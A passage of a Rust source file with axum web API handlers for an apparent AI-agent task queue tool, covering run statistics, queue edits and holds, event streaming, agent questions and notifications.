6480 deferred: e.deferred,
6481 sole_rate: RateView::of(e.sole_detections, e.failures),
6482 }
6483 }
6484}
6485
6486#[derive(Debug, Serialize)]
6494struct ReleaseBumpStatsView {
6495 merged: usize,
6496 recorded: usize,
6497 pr_opened: usize,
6498 automerge_enabled: usize,
6499 merged_directly: usize,
6500 needs_attention: usize,
6501 clean: usize,
6502 coverage_rate: Option<RateView>,
6503 automerge_rate: Option<RateView>,
6504 attention_rate: Option<RateView>,
6505}
6506
6507impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
6508 fn from(b: &stats::ReleaseBumpStats) -> Self {
6509 Self {
6510 merged: b.merged,
6511 recorded: b.recorded,
6512 pr_opened: b.pr_opened,
6513 automerge_enabled: b.automerge_enabled,
6514 merged_directly: b.merged_directly,
6515 needs_attention: b.needs_attention,
6516 clean: b.clean(),
6517 coverage_rate: RateView::of(b.recorded, b.merged),
6518 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
6519 attention_rate: RateView::of(b.needs_attention, b.recorded),
6520 }
6521 }
6522}
6523
6524#[derive(Debug, Serialize)]
6526struct TaskCountsView {
6527 queued: usize,
6528 running: usize,
6529 done: usize,
6530 failed: usize,
6531 held: usize,
6532 blocked: usize,
6533 parked: usize,
6534}
6535
6536impl From<crate::queue::TaskCounts> for TaskCountsView {
6537 fn from(c: crate::queue::TaskCounts) -> Self {
6538 Self {
6539 queued: c.queued,
6540 running: c.running,
6541 done: c.done,
6542 failed: c.failed,
6543 held: c.held,
6544 blocked: c.blocked,
6545 parked: c.parked,
6546 }
6547 }
6548}
6549
6550#[derive(Debug, Serialize)]
6556struct RepoSummaryView {
6557 repo: String,
6560 name: String,
6562 runs: usize,
6563 completion_rate: Option<RateView>,
6564}
6565
6566impl From<&stats::RepoStats> for RepoSummaryView {
6567 fn from(r: &stats::RepoStats) -> Self {
6568 let t = &r.stats.totals;
6569 Self {
6570 repo: r.repo.to_string_lossy().into_owned(),
6571 name: r.name.clone(),
6572 runs: t.runs,
6573 completion_rate: RateView::of(t.merged + t.ready, t.runs),
6574 }
6575 }
6576}
6577
6578#[derive(Debug, Serialize)]
6584struct StatsView {
6585 totals: StatsTotalsView,
6586 agents: Vec<AgentStatsView>,
6588 reviewers: Vec<ReviewerStatsView>,
6590 advisors: Vec<AdvisorStatsView>,
6592 e2e: E2eStatsView,
6593 release_bumps: ReleaseBumpStatsView,
6594 queue: Option<TaskCountsView>,
6595 runs_unreadable: usize,
6605 repos: Vec<RepoSummaryView>,
6609 daily: Vec<DailyStatsView>,
6614 repo: Option<String>,
6618 retired_hidden: Vec<String>,
6622}
6623
6624#[derive(Debug, Serialize)]
6626struct DailyStatsView {
6627 date: String,
6629 runs: usize,
6630 merged: usize,
6631 ready: usize,
6632 other: usize,
6633 completion_rate: Option<RateView>,
6635}
6636
6637impl From<&stats::DayBucket> for DailyStatsView {
6638 fn from(b: &stats::DayBucket) -> Self {
6639 Self {
6640 date: b.date.to_string(),
6641 runs: b.runs,
6642 merged: b.merged,
6643 ready: b.ready,
6644 other: b.other,
6645 completion_rate: RateView::of(b.merged + b.ready, b.runs),
6646 }
6647 }
6648}
6649
6650const STATS_DAILY_DAYS: usize = 30;
6652
6653#[derive(Debug, Default, Deserialize)]
6662#[serde(default)]
6663struct StatsQuery {
6664 repo: Option<String>,
6665 all: bool,
6667 runs_only: bool,
6669}
6670
6671async fn stats_get(
6678 State(ui): State<Arc<Ui>>,
6679 Query(q): Query<StatsQuery>,
6680) -> ApiResult<Json<StatsView>> {
6681 blocking(move || {
6682 let states: Vec<RunState> = run_ids(&ui.runs)
6683 .into_iter()
6684 .filter_map(|id| read_run(&ui.runs, &id).ok())
6685 .collect();
6686 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
6687 .iter()
6688 .map(RepoSummaryView::from)
6689 .collect();
6690 let mut scoped: Vec<&RunState> = states.iter().collect();
6691 let mut collected = match &q.repo {
6692 Some(repo) => {
6693 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
6694 if filtered.is_empty() {
6695 return Err(ApiError::not_found(format!(
6696 "no runs recorded against repo `{repo}`"
6697 )));
6698 }
6699 scoped = filtered.clone();
6700 stats::collect_refs(filtered)
6701 }
6702 None => stats::collect(&states),
6703 };
6704 if !q.all {
6705 let repo = q
6706 .repo
6707 .as_deref()
6708 .map_or_else(|| ui.repo.clone(), PathBuf::from);
6709 stats::retain_current_roster(&mut collected, &repo);
6710 }
6711 let daily = stats::daily(
6712 scoped,
6713 jiff::Zoned::now().date(),
6714 &jiff::tz::TimeZone::system(),
6715 STATS_DAILY_DAYS,
6716 );
6717 let queue_counts = (!q.runs_only)
6718 .then(|| TaskCountsView::from(crate::queue::TaskCounts::of(&ui.queue.list())));
6719 Ok(Json(StatsView {
6720 totals: StatsTotalsView::from(&collected.totals),
6721 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
6722 reviewers: collected
6723 .reviewers
6724 .iter()
6725 .map(ReviewerStatsView::from)
6726 .collect(),
6727 advisors: collected
6728 .advisors
6729 .iter()
6730 .map(AdvisorStatsView::from)
6731 .collect(),
6732 e2e: E2eStatsView::from(&collected.e2e),
6733 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
6734 queue: queue_counts,
6735 runs_unreadable: runs_unreadable(&ui.runs),
6736 repos,
6737 daily: daily.iter().map(DailyStatsView::from).collect(),
6738 repo: q.repo.clone(),
6739 retired_hidden: collected.retired_hidden.clone(),
6740 }))
6741 })
6742 .await
6743}
6744
6745#[derive(Debug, Default, Deserialize)]
6748#[serde(default, deny_unknown_fields)]
6749struct HoldBody {
6750 reason: Option<String>,
6751}
6752
6753async fn queue_hold(
6754 State(ui): State<Arc<Ui>>,
6755 Path(id): Path<String>,
6756 body: std::result::Result<Json<HoldBody>, JsonRejection>,
6757) -> ApiResult<Json<TaskView>> {
6758 let body = match body {
6762 Ok(Json(body)) => body,
6763 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
6764 Err(e) => return Err(ApiError::bad_request(e.body_text())),
6765 };
6766 let reason = body.reason.filter(|r| !r.trim().is_empty());
6767 mutate(ui, id, move |t| {
6768 t.hold_manual(reason.clone());
6769 Ok(())
6770 })
6771 .await
6772}
6773
6774async fn queue_release(
6775 State(ui): State<Arc<Ui>>,
6776 Path(id): Path<String>,
6777) -> ApiResult<Json<TaskView>> {
6778 mutate(ui, id, |t| {
6779 t.release_operator("web", None);
6780 Ok(())
6781 })
6782 .await
6783}
6784
6785#[derive(Debug, Deserialize)]
6786#[serde(deny_unknown_fields)]
6787struct AttemptLimitBody {
6788 attempt_limit: serde_json::Value,
6790}
6791
6792async fn queue_attempt_limit(
6793 State(ui): State<Arc<Ui>>,
6794 Path(id): Path<String>,
6795 body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
6796) -> ApiResult<Json<TaskView>> {
6797 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6798 let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
6799 .map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
6800 mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
6801}
6802
6803#[derive(Debug, Deserialize)]
6804#[serde(deny_unknown_fields)]
6805struct ImplementersBody {
6806 implementers: u8,
6807}
6808
6809async fn queue_implementers(
6810 State(ui): State<Arc<Ui>>,
6811 Path(id): Path<String>,
6812 body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
6813) -> ApiResult<Json<TaskView>> {
6814 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6815 mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
6816}
6817
6818#[derive(Debug, Deserialize)]
6819#[serde(deny_unknown_fields)]
6820struct UrgentBody {
6821 urgent: bool,
6822}
6823
6824async fn queue_urgent(
6825 State(ui): State<Arc<Ui>>,
6826 Path(id): Path<String>,
6827 body: std::result::Result<Json<UrgentBody>, JsonRejection>,
6828) -> ApiResult<Json<TaskView>> {
6829 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6830 mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
6831}
6832
6833#[derive(Debug, Deserialize)]
6835#[serde(deny_unknown_fields)]
6836struct PriorityBody {
6837 priority: i32,
6838}
6839
6840async fn queue_priority(
6846 State(ui): State<Arc<Ui>>,
6847 Path(id): Path<String>,
6848 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
6849) -> ApiResult<Json<TaskView>> {
6850 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6851 mutate(ui, id, move |t| t.set_priority(body.priority)).await
6852}
6853
6854#[derive(Debug, Deserialize)]
6856#[serde(deny_unknown_fields)]
6857struct EditBody {
6858 title: String,
6859 instruction: String,
6860 #[serde(default)]
6863 force: bool,
6864}
6865
6866async fn queue_edit(
6870 State(ui): State<Arc<Ui>>,
6871 Path(id): Path<String>,
6872 body: std::result::Result<Json<EditBody>, JsonRejection>,
6873) -> ApiResult<Json<TaskView>> {
6874 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6875 let mut judged: Option<(String, PathBuf)> = None;
6879 if !body.force {
6880 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
6881 let (id, text) = (id.clone(), body.instruction.clone());
6882 let (seen, hits) = blocking(move || {
6883 let id = resolve_task(&queue, &id)?;
6884 let t = queue.get(&id)?;
6885 if text == t.instruction {
6886 return Ok((None, Vec::new()));
6887 }
6888 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
6889 Ok((Some((t.instruction, t.repo)), hits))
6890 })
6891 .await?;
6892 if let Some((_, repo)) = &seen {
6893 let cfg = crate::config::Config::discover(repo, None)
6894 .ok()
6895 .map(|(c, _)| c);
6896 let screened =
6897 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
6898 .await
6899 .map_err(|dup| {
6900 ApiError::conflict(dup.render(
6901 "Nothing was saved. If it is not a duplicate, repeat the request \
6902 with \"force\": true.",
6903 ))
6904 })?;
6905 if let crate::dupes::Screened::Unjudged(why) = screened {
6906 tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
6907 }
6908 }
6909 judged = seen;
6910 }
6911 let force = body.force;
6912 mutate(ui, id, move |t| {
6913 if !force && body.instruction != t.instruction {
6914 match &judged {
6915 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
6916 _ => {
6917 anyhow::bail!("the task changed while it was being checked; repeat the request")
6918 }
6919 }
6920 }
6921 t.edit(body.title.clone(), body.instruction.clone())
6922 })
6923 .await
6924}
6925
6926async fn queue_done(
6934 State(ui): State<Arc<Ui>>,
6935 Path(id): Path<String>,
6936) -> ApiResult<Json<TaskView>> {
6937 let home = ui.home.clone();
6938 mutate(ui, id, move |t| {
6939 t.succeed();
6940 crate::daemon::supersede_prior_runs(t, &home);
6948 Ok(())
6949 })
6950 .await
6951}
6952
6953async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6961 blocking(move || {
6962 let id = resolve_task(&ui.queue, &id)?;
6963 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
6964 ui.queue
6965 .remove(&id, in_flight, &ui.questions)
6966 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
6967 Ok(StatusCode::NO_CONTENT)
6968 })
6969 .await
6970}
6971
6972async fn mutate(
6981 ui: Arc<Ui>,
6982 id: String,
6983 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
6984) -> ApiResult<Json<TaskView>> {
6985 blocking(move || {
6986 let id = resolve_task(&ui.queue, &id)?;
6987 let _claim = ui.queue.claim(&id).map_err(|e| {
6992 ApiError::conflict(format!(
6993 "{e:#} - a daemon is running this task, so it cannot be \
6994 changed from here yet; wait until it is released, then retry"
6995 ))
6996 })?;
6997 let mut task = ui.queue.get(&id)?;
6998 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
6999 Ok(dup) => ApiError::conflict(dup.render(
7000 "Nothing was saved. If it is not a duplicate, repeat the request with \
7001 \"force\": true.",
7002 )),
7003 Err(e) => ApiError::bad_request_from(e),
7004 })?;
7005 ui.queue.put(&mut task)?;
7006 Ok(Json(TaskView::from(task)))
7007 })
7008 .await
7009}
7010
7011async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
7016 ui.monitor.ensure_worker(&ui);
7017 let mut broadcast_rx = ui.monitor.broadcaster.subscribe();
7018 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
7019
7020 let state = Arc::clone(&ui);
7021 tokio::spawn(async move {
7022 let initial_revisions = {
7023 let guard = match state.monitor.latest.lock() {
7024 Ok(g) => g,
7025 Err(p) => p.into_inner(),
7026 };
7027 guard.as_ref().map(|(r, _)| *r)
7028 };
7029 if let Some(revisions) = initial_revisions {
7030 let initial_payload = serde_json::json!({
7031 "queue_rev": revisions.0,
7032 "runs_rev": revisions.1,
7033 "questions_rev": revisions.2,
7034 "talks_rev": revisions.3,
7035 "notifications_rev": revisions.4,
7036 "loop_rev": revisions.5,
7037 });
7038
7039 if let Ok(event) = Event::default().event("change").json_data(initial_payload) {
7040 if tx.send(event).await.is_err() {
7041 return;
7042 }
7043 }
7044 }
7045
7046 loop {
7047 match tokio::select! {
7048 _ = tx.closed() => return,
7049 value = broadcast_rx.recv() => value,
7050 } {
7051 Ok(notif) => {
7052 let Ok(event) = Event::default().event("change").json_data(notif.payload)
7053 else {
7054 break;
7055 };
7056 if tx.send(event).await.is_err() {
7057 break;
7058 }
7059 }
7060 Err(tokio::sync::broadcast::error::RecvError::Lagged(_)) => {
7061 let revs = {
7062 let guard = match state.monitor.latest.lock() {
7063 Ok(g) => g,
7064 Err(p) => p.into_inner(),
7065 };
7066 guard.as_ref().map(|(r, _)| *r)
7067 };
7068 if let Some(revs) = revs {
7069 let payload = serde_json::json!({
7070 "queue_rev": revs.0,
7071 "runs_rev": revs.1,
7072 "questions_rev": revs.2,
7073 "talks_rev": revs.3,
7074 "notifications_rev": revs.4,
7075 "loop_rev": revs.5,
7076 });
7077 if let Ok(event) = Event::default().event("change").json_data(payload) {
7078 if tx.send(event).await.is_err() {
7079 break;
7080 }
7081 }
7082 }
7083 }
7084 Err(tokio::sync::broadcast::error::RecvError::Closed) => {
7085 break;
7086 }
7087 }
7088 }
7089 });
7090
7091 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
7092 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
7093}
7094
7095fn run_ids(runs: &FsPath) -> Vec<String> {
7101 let mut ids: Vec<String> = std::fs::read_dir(runs)
7102 .into_iter()
7103 .flatten()
7104 .flatten()
7105 .filter(|e| e.path().join("run.json").is_file())
7106 .map(|e| e.file_name().to_string_lossy().into_owned())
7107 .collect();
7108 ids.sort_unstable_by(|a, b| b.cmp(a));
7110 ids
7111}
7112
7113fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
7115 let path = runs.join(id).join("run.json");
7116 let body =
7117 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
7118 let state: RunState =
7119 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
7120 run::migrate_schema(state)
7125}
7126
7127#[must_use]
7135pub fn runs_unreadable(runs: &FsPath) -> usize {
7136 run_ids(runs)
7137 .into_iter()
7138 .filter(|id| read_run(runs, id).is_err())
7139 .count()
7140}
7141
7142fn plain_record_id(id: &str) -> bool {
7143 !id.is_empty() && id != "." && id != ".." && !id.contains(['/', '\\'])
7144}
7145
7146fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
7148 if plain_record_id(id) && runs.join(id).join("run.json").is_file() {
7149 return Ok(id.to_owned());
7150 }
7151 pick(run_ids(runs), id, "run")
7152}
7153
7154fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
7156 if plain_record_id(id) && queue.path_of(id).is_file() {
7157 return Ok(id.to_owned());
7158 }
7159 let ids = crate::queue::record_ids(queue.root(), "json").unwrap_or_default();
7160 pick(ids, id, "task")
7161}
7162
7163#[derive(Debug, Serialize)]
7174struct QuestionView {
7175 choice_effects: std::collections::BTreeMap<String, String>,
7176 record_revision: String,
7177 #[serde(flatten)]
7178 question: Question,
7179 detail_md: Vec<md::Node>,
7180 posting_view: Option<PostingView>,
7181 thread_bodies_md: Vec<Vec<md::Node>>,
7183 thread_notes_md: Vec<Option<Vec<md::Node>>>,
7186 waiting_on_agent: bool,
7196 holder: Option<&'static str>,
7200 deputies_enabled: bool,
7204 deputy_exhausted: bool,
7207 text_delivery: crate::question_delivery::Availability,
7208 run_is_task: bool,
7211 origin_chat: Option<String>,
7214 origin_chat_closed: bool,
7216 can_consult_chat: bool,
7218}
7219
7220#[derive(Debug, Serialize)]
7221struct PostingView {
7222 before_md: Vec<md::Node>,
7223 after_md: Vec<md::Node>,
7224 fields: Vec<crate::github_text::ComparisonView>,
7225}
7226
7227fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
7228 let comparison = question.posting_comparison.as_ref()?;
7229 if !comparison.matches_detail(&question.detail) {
7230 return None;
7231 }
7232 let mut ids = std::collections::BTreeSet::new();
7233 if comparison.fields.is_empty()
7234 || comparison
7235 .fields
7236 .iter()
7237 .flat_map(|f| &f.pairs)
7238 .any(|p| !ids.insert(p.id))
7239 || comparison
7240 .fields
7241 .iter()
7242 .flat_map(|f| &f.original_triggers)
7243 .any(|t| !ids.insert(t.id))
7244 {
7245 return None;
7246 }
7247 let fields = comparison
7248 .fields
7249 .iter()
7250 .map(|f| f.view(comparison.excerpt))
7251 .collect::<Option<Vec<_>>>()?;
7252 Some(PostingView {
7253 before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
7254 after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
7255 fields,
7256 })
7257}
7258
7259impl QuestionView {
7260 fn of(question: Question, store: &ask::Questions, cfg: Option<&Config>) -> Self {
7264 let base = md::ImageBase::QuestionPanel {
7265 id: question.id.clone(),
7266 };
7267 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
7268 Self {
7269 choice_effects: question
7270 .choices
7271 .iter()
7272 .filter_map(|c| {
7273 crate::choice_effect::describe(&question, c).map(|effect| (c.clone(), effect))
7274 })
7275 .collect(),
7276 record_revision: question_record_revision(&question),
7277 detail_md: md::to_nodes(&question.detail, &base),
7278 posting_view: posting_view(&question, &base),
7279 thread_bodies_md: question
7280 .thread
7281 .iter()
7282 .map(|t| md::to_nodes(&t.body, &base))
7283 .collect(),
7284 thread_notes_md: question
7285 .thread
7286 .iter()
7287 .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
7288 .collect(),
7289 deputy_exhausted: store.deputy_exhausted(&question),
7290 waiting_on_agent: question.waiting_on_agent(),
7291 holder,
7292 deputies_enabled: deputies_enabled(cfg, &question),
7293 text_delivery: crate::question_delivery::availability(store, &question, cfg),
7294 run_is_task: question.run_names_task(),
7295 origin_chat: None,
7296 origin_chat_closed: false,
7297 can_consult_chat: false,
7298 question,
7299 }
7300 }
7301
7302 fn with_origin(
7304 mut self,
7305 tasks: &[crate::queue::Task],
7306 talks: &[Talk],
7307 watches: &[crate::release_watch::WatchState],
7308 ) -> Self {
7309 let consult = crate::consult::origin_talk(tasks, talks, &self.question);
7310 self.can_consult_chat = consult.is_some();
7311 let talk =
7312 crate::consult::associated_talk_with_watches(tasks, talks, &self.question, watches);
7313 self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
7314 self.origin_chat = talk.map(|t| t.id);
7315 self
7316 }
7317}
7318
7319fn deputy_config(repo: &std::path::Path) -> Option<Config> {
7323 Config::discover(repo, None).ok().map(|(c, _)| c)
7324}
7325
7326fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
7328 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
7329}
7330
7331fn question_views(
7334 qs: Vec<Question>,
7335 store: &ask::Questions,
7336 load: impl FnOnce() -> Option<Config>,
7337) -> Vec<QuestionView> {
7338 if qs.is_empty() {
7339 return Vec::new();
7340 }
7341 let cfg = load();
7342 qs.into_iter()
7343 .map(|q| QuestionView::of(q, store, cfg.as_ref()))
7344 .collect()
7345}
7346
7347fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
7357 if !q.status.open() {
7358 return None;
7359 }
7360 if q.cwd.is_none()
7361 && q.deputy.is_none()
7362 && lease.is_none_or(|l| !l.fresh(jiff::Timestamp::now()))
7363 {
7364 return crate::deputy::kind_of(q).map(|_| "nobody");
7365 }
7366 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
7367 Some(_) if q.deputy.is_some() => "deputy",
7368 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
7369 Some(_) => "asker",
7370 None => "nobody",
7371 })
7372}
7373
7374async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
7380 blocking(move || {
7381 let questions = ui.questions.list();
7382 let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
7383 Ok(Json(
7384 question_views(questions, &ui.questions, || deputy_config(&ui.repo))
7385 .into_iter()
7386 .map(|view| view.with_origin(&tasks, &talks, &watches))
7387 .collect(),
7388 ))
7389 })
7390 .await
7391}
7392
7393async fn questions_core(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
7395 blocking(move || {
7396 Ok(Json(question_views(
7397 ui.questions.list(),
7398 &ui.questions,
7399 || deputy_config(&ui.repo),
7400 )))
7401 })
7402 .await
7403}
7404
7405fn question_record_revision(question: &Question) -> String {
7406 use std::hash::{Hash as _, Hasher as _};
7407 let mut hash = std::hash::DefaultHasher::new();
7408 serde_json::to_vec(question)
7409 .expect("serializable question")
7410 .hash(&mut hash);
7411 format!("{:016x}", hash.finish())
7412}
7413
7414#[derive(Serialize)]
7415struct QuestionOriginView {
7416 id: String,
7417 record_revision: String,
7418 origin_chat: Option<String>,
7419 origin_chat_closed: bool,
7420 can_consult_chat: bool,
7421}
7422
7423async fn question_origins(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionOriginView>>> {
7424 blocking(move || {
7425 let questions = ui.questions.list();
7426 let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
7427 Ok(Json(
7428 questions
7429 .into_iter()
7430 .map(|question| {
7431 let consult = crate::consult::origin_talk(&tasks, &talks, &question);
7432 let can_consult_chat = consult.is_some();
7433 let talk = crate::consult::associated_talk_with_watches(
7434 &tasks, &talks, &question, &watches,
7435 );
7436 QuestionOriginView {
7437 record_revision: question_record_revision(&question),
7438 id: question.id,
7439 origin_chat_closed: talk.as_ref().is_some_and(|talk| !talk.status.open()),
7440 origin_chat: talk.map(|talk| talk.id),
7441 can_consult_chat,
7442 }
7443 })
7444 .collect(),
7445 ))
7446 })
7447 .await
7448}
7449
7450type QuestionOriginInputs = (Vec<Task>, Vec<Talk>, Vec<crate::release_watch::WatchState>);
7451
7452fn question_origin_inputs(ui: &Ui, questions: &[Question]) -> ApiResult<QuestionOriginInputs> {
7456 fn task_for_run(
7457 ui: &Ui,
7458 index: &mut Option<Vec<Arc<TaskRelation>>>,
7459 run: &str,
7460 loaded: &HashMap<String, Task>,
7461 ) -> ApiResult<Option<Task>> {
7462 if !plain_record_id(run) {
7463 return Ok(None);
7464 }
7465 if index.is_none() {
7466 *index = Some(ui.indexed_tasks()?);
7467 }
7468 Ok(index
7469 .as_ref()
7470 .expect("loaded index")
7471 .iter()
7472 .find(|task| task.runs.iter().any(|id| id == run))
7473 .and_then(|task| {
7474 loaded
7475 .get(&task.id)
7476 .cloned()
7477 .or_else(|| ui.queue.get(&task.id).ok())
7478 })
7479 .filter(|task| task.runs.iter().any(|id| id == run)))
7480 }
7481 let direct_task = |id: &str, loaded: &HashMap<String, Task>| {
7482 plain_record_id(id)
7483 .then(|| loaded.get(id).cloned().or_else(|| ui.queue.get(id).ok()))
7484 .flatten()
7485 .filter(|task| task.id == id)
7486 };
7487 let watches = crate::release_watch::states_for_questions(&ui.home, questions);
7488 let mut index = None;
7489 let mut tasks = HashMap::new();
7490 let mut talks = HashMap::new();
7491 for question in questions {
7492 for reference in crate::consult::question_task_refs(question, &watches) {
7493 let mut current = match reference {
7494 crate::consult::QuestionTaskRef::Task(id) => direct_task(id, &tasks),
7495 crate::consult::QuestionTaskRef::Run(id) => {
7496 task_for_run(ui, &mut index, id, &tasks)?
7497 }
7498 };
7499 let mut seen = HashSet::new();
7500 for _ in 0..=crate::followup::MAX_FOLLOWUP_GENERATION {
7501 let Some(task) = current.take() else {
7502 break;
7503 };
7504 if !seen.insert(task.id.clone()) {
7505 break;
7506 }
7507 let chat = task.chat_talk().map(str::to_owned);
7508 let followup = task.followup.clone();
7509 tasks.insert(task.id.clone(), task);
7510 if let Some(chat) = chat {
7511 if plain_record_id(&chat)
7512 && !talks.contains_key(&chat)
7513 && let Ok(talk) = ui.talks.get(&chat)
7514 {
7515 talks.insert(chat, talk);
7516 }
7517 break;
7518 }
7519 let Some(followup) = followup else {
7520 break;
7521 };
7522 current = match followup.origin_task {
7523 Some(id) => direct_task(&id, &tasks),
7524 None => task_for_run(ui, &mut index, &followup.run, &tasks)?,
7525 };
7526 }
7527 }
7528 }
7529 let mut tasks: Vec<Task> = tasks.into_values().collect();
7530 tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
7531 Ok((tasks, talks.into_values().collect(), watches))
7532}
7533
7534async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
7537 blocking(move || {
7538 let items = ui.notices.list();
7539 let unread = items.iter().filter(|n| n.unread()).count();
7540 let items: Vec<_> = items
7541 .into_iter()
7542 .map(|n| {
7543 let question = crate::notices::answerable_question(&n, &ui.questions);
7544 let mut item = serde_json::to_value(n)?;
7545 item["answerable_question"] = serde_json::json!(question);
7546 Ok(item)
7547 })
7548 .collect::<anyhow::Result<_>>()?;
7549 Ok(Json(
7550 serde_json::json!({ "unread": unread, "items": items }),
7551 ))
7552 })
7553 .await
7554}
7555
7556fn notice_error(e: anyhow::Error) -> ApiError {
7557 ApiError::not_found(format!("{e:#}"))
7560}
7561
7562async fn notification_read(
7564 State(ui): State<Arc<Ui>>,
7565 Path(id): Path<String>,
7566) -> ApiResult<Json<Notice>> {
7567 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
7568}
7569
7570async fn notification_dismiss(
7572 State(ui): State<Arc<Ui>>,
7573 Path(id): Path<String>,
7574) -> ApiResult<Json<Notice>> {
7575 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
7576}
7577
7578async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
7580 blocking(move || {
7581 let changed = ui.notices.mark_all_read()?;
7582 Ok(Json(serde_json::json!({ "marked": changed })))
7583 })
7584 .await
7585}
7586
7587#[derive(Debug, Default, Deserialize)]
7593#[serde(default, deny_unknown_fields)]
7594struct NewAnswer {
7595 choice: Option<String>,
7596 text: Option<String>,
7597 talk: Option<String>,
7598 head: Option<String>,
7599}
7600
7601async fn question_answer(
7602 State(ui): State<Arc<Ui>>,
7603 Path(id): Path<String>,
7604 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
7605) -> ApiResult<Json<QuestionView>> {
7606 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7607 let answer = match (body.choice, body.text) {
7608 (Some(c), None) => Answer::Choice(c),
7609 (None, Some(t)) => Answer::Text(t),
7610 (Some(_), Some(_)) => {
7611 return Err(ApiError::bad_request(
7612 "send either `choice` or `text`, not both",
7613 ));
7614 }
7615 (None, None) => {
7616 return Err(ApiError::bad_request("send a `choice` or a `text`"));
7617 }
7618 };
7619
7620 blocking(move || {
7621 let id = resolve_question(&ui.questions, &id)?;
7622 let q = ui
7623 .questions
7624 .get(&id)
7625 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
7626 if !q.status.open() {
7627 return Err(ApiError::conflict(format!(
7631 "question {} is already {}",
7632 q.short(),
7633 q.status.as_str()
7634 )));
7635 }
7636 let cfg = deputy_config(&ui.repo);
7640 let (q, ()) = ui
7641 .questions
7642 .update(&q.id, |r| {
7643 anyhow::ensure!(
7644 r.routed_task.is_none() || r.merge_target.is_some(),
7645 "task decisions are free text in the task chat; its agent records them with `magi task control decide`"
7646 );
7647 let merge = matches!(&answer, ask::Answer::Choice(c)
7648 if crate::consult::consent(r, c) == crate::consult::Consent::Merge);
7649 if r.routed_task.is_some() && r.merge_target.is_some() && merge
7652 && (body.talk.is_some() || body.head.is_some())
7653 {
7654 let talk_id = body.talk.as_deref().context("approval button requires its chat")?;
7655 let head = body.head.as_deref().context("approval button requires the displayed head")?;
7656 let talk = ui.talks.get(talk_id)?;
7657 anyhow::ensure!(
7658 talk.status.open(),
7659 "approval chat is closed"
7660 );
7661 r.answer_chat_button(answer, talk_id, head)
7662 } else {
7663 r.answer(answer)
7664 }
7665 })
7666 .map_err(ApiError::bad_request_from)?;
7667 let (tasks, talks, watches) =
7668 question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
7669 Ok(Json(
7670 QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
7671 ))
7672 })
7673 .await
7674}
7675
7676fn question_text_error(e: anyhow::Error) -> ApiError {
7678 let reason = e
7679 .downcast_ref::<crate::question_delivery::TextUnavailable>()
